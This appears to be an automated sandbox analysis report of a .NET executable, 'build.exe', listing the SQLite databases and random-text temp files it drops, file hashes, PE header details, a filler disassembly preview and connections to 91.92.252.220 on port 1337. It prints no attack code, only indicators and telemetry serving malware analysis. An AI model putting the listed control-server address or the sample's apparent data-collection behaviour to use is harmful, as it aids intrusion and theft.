File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9DA6.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9DB7.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9DC7.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp9DD8.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1215420383712111
Encrypted:	false
SSDEEP:	384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
MD5:	9A809AD8B1FDDA60760BB6253358A1DB
SHA1:	D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
SHA-256:	95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
SHA-512:	2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpC506.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698393795110914
Encrypted:	false
SSDEEP:	24:weX7B5oYsT2B9e4Feb4OKL65JIiga/zOnv9iY81icgfiTetEc8E:FPoYsqB9e4dP63IigGOvo11LetEc8E
MD5:	7C5655873C22D2522B13B34841F82038
SHA1:	ED733AE5B3E813B97D69E7283AEB8085EFC62B78
SHA-256:	9A515FAA0EE108930EC0C597C9E2CA74B21C3C9D45F3F845954A65F3FA4C494D
SHA-512:	A98C25203B5A8C5C3FE7859E1B128BA3C0B5691BE716C53CA427770F10EC65CBB8B704EEA994BCE1ECA69EC4D46BCC0D48FE844653B964E96D1248D2E211CBD2
Malicious:	false
Preview:	LFOPODGVOHLLKBCXZQUOXPFEKGPKVDEYIZRZGQPAXXVWAHGTCBCWCYBHYOPHLEVYFLCEXNMVAAPUECIPRDZTIBJFGFXDAEMKYPYGCWSRTCUEEDISUDHVYQEPCSIKRBOXVZVTBFVUQHQYHEIWQPMZFNXNKGPPDGDMKJWAYJVYMRCYCWORBYPZYIFTAANBVDPJJOGYMYDPMPCNSOQVKLKNKHQVJQRYOOACYXVWFBJGOZRXUBDUSJEQNJXCVPHTUWAVCILOAXOWIJVWKMAIOEWTHGQELYIGVJJZNFBDSZXPZMLZNFDRIJQQQDSSMCBEMRHVOYIGRXSYQYDLBDBDJCVRREJGRUBPNYBFUCUXLMUIULULHCWJQQEMKBQMLJBDJQHFXPNODSTVZXWZZOXPIXKBRKMKOYEBDUBYOGMGXHFMCUIKRQYQMHGUBUAAFTMUCZNIIVAIOOBIASAJPKXIYIQIRVIIXGNUEDAXQJYWQXOBTAINKSTSHZGNUWVHVDUXVGWBWRXOYEGSIRNXRHBFOAWRQVFKAGDUSHRWQWJQRNMOGHTWFHOOZGRSVCSEJNMPDYUGTSBOMGHSHACUNTVVGKNAZSSLLQOXMCBVKFFAQLQCWYNIWPVJRECIKVCXZGCNHKXMQDPPOURAWIKZOZEFLDUYVIGDPGUMGOGBUYKGLVLWQSDAHAAIVFUNWQIWKRCSLCPMZBWBBDTBBVTZNYCLEIZNLQRHKBOLVTUTWSURDWQTCHAPUMJQWNVWVGFLAAPEHMLBUSYJCZDJUMZMKIOKIMVTYPMCXUXWVXIMVUCNXESHIVCKNFAALGDXCVJHQZWLDSAWNJWFBTHDBKGVKXLWDOPOOBJMPJCKUXVNFQVOUEIHJKOHTDCQCDOFQBMSQNWVDKTKWJIFVOMWEUJULPMGUSEWAZAHAZVGRSWNQYXPMKFWQGODZHVNOEXZBPLONONBPAHCDWEMSFLRJBFMOKMCLAGRJEGRTGVETXSZKDXQWEOD

C:\Users\user\AppData\Local\Temp\tmpC507.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698999446679606
Encrypted:	false
SSDEEP:	24:W9l1TKf/7G6pHxojyPqnhSz0hujim56BAhI8QR9QlFpd:6l1uFqyP5zY5moAoah
MD5:	73351F70BFEF33BEEA9E1CC192801D02
SHA1:	ACFD9C2DFA1B38FAB53EEB4730B0DF0551B45D8C
SHA-256:	F6917A805A90AC72064D294E5E0FBA4604588F7B0EB2B3A3511D1FC6887E3E24
SHA-512:	56D46FF29F86F3B314EBC6CC456A1D153D0F1245A926F82AE7FA9A6A5AD792094FEDBB5FC489929186C8A72732BE4EAFF3BCF2E508B8B2FC50B013E6166B212C
Malicious:	false
Preview:	UNKRLCVOHVAXPHOHAZYDIMBTYYPLYBYVUEQLGGJJCFCITCEMGOMMPTCXLGLYUZHZWMTUNUOFUUYAUDMSGBWJKAMIFUAYTDIKVYQPGYQSIZTANWSUNZDHBRNONSOUWVUJZFBPOZIMZOUPVAYJKSJULUHYRYUUOLYWEWFCYAZHMJKHXUZLTHEXFDNRXIUQOZHGGMDFHSXAJKHPBRPJJKVVXGMDIMEMMFXEOBQJSMYSSMPVSVUNJLJSSMEFHHLFEVPWZDDEIKQGOJPOJWTWMNPIEQXWXOBLNLDRNRUGDUXCMTURFAWMSSYAENGRWRBIJOYJNUMDYXNDETRQMYAMGJYZKZQPFPCONTLPPRLYMQJPIWCAXNOLGZOTNQEWQGBVSNORDVIXIUJAENWBXHSXSDNAMBAXUDBRCRHHYFJQLZEAGFZJUFMBIUBABNXVYITYPKRJUMGDPPABWBKNLHDKPLRUIRQXXKLFZAHHOQZHNTUNORTHIPKRZRDGRVPKIZRHYAGOVNDISDQRFXONCHILLZJTGXRZPEIPHKZXDBODDSUZIKNUVTNMZGVZQILJHRYJYZKDBLCLJFWSXRREYFFMEXBICHNCCTBTTTTZZVMSHPBKJMXPXFJNIDQFSJDMCXXUZPFVBFVKYCVFVQFUVOJWWIUNBICQVZGOZZVDJKKZTGDLWXADCBHYGUDWYWTYVYOOICLDGZXJHSTPFGQBMRCCCBJSXCPVVBKRNYTLTAOWPNJFKXUXQORRVHCHMSRAHQHFDEMZUFOFJOQFXHQBLWKNHXKEBLUJMQCFCSTBVXKUUPPXZNEWBUZPPVJFCDLXJEGEZSQSHHBNUCTRMEDMGPNZBHGEXVTWWZFELEFQQWXGHSVDMBAGZANSOHWAGHWRFCVNRSBOOZFJQONOYPNXBMHJINMGSGLMUSTAOMZXKOIHFYYSJWELBRBKMJUVQKVVFUFLDZKJVPCATVIHCISAYNPTMBEUQYJRYFUSBKOSITLVDUTJ

C:\Users\user\AppData\Local\Temp\tmpD256.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpD267.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBC8.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBD8.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBE9.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBFA.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFBFB.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC0B.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC0C.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpFC1D.tmp

Download File

Process:	C:\Users\user\Desktop\build.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960598510998769
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	build.exe
File size:	97'792 bytes
MD5:	60e00124f9d54b2d423f02dc81b57127
SHA1:	a250651ba1f3eb72bcf0f24a31ff2a66b0a39959
SHA256:	ece58cdda5d85a7fe7d7262313b8041e3c988d814b7dd60f0468dbb7109596ba
SHA512:	4a5b7529c9fd3325632a13fde5b01cd4bd21258fca2c358d3322127f9c74b86c69250a673d9fe9878a2c828870026661df62a3b95d5235b378bf83ff29a82add
SSDEEP:	1536:9qs+XqrzWBlbG6jejoigI343Ywzi0Zb78ivombfexv0ujXyyed243tmulgS6pY:r0gzWHY3+zi0ZbYe1g0ujyzdaY
TLSH:	56A35D3067AC9F19EAFD1B74B4B2012043F0E48A9091FB4B4DC154E61FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t............... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x41932e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192e0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17334	0x17400	dbffc9fe6c9883d0b483dc8ca34a4c81	False	0.44868321572580644	data	6.015658812152938	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	5d15b3ed438a3ab0253bd60fcc035f5d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 03:01:03.517471075 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:03.815931082 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:03.816065073 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:03.833975077 CEST	49700	1337	192.168.2.7	91.92.252.220
Apr 24, 2024 03:01:04.134702921 CEST	1337	49700	91.92.252.220	192.168.2.7
Apr 24, 2024 03:01:04.134998083 CEST	49700	1337	192.168.2.7	91.92.252.220
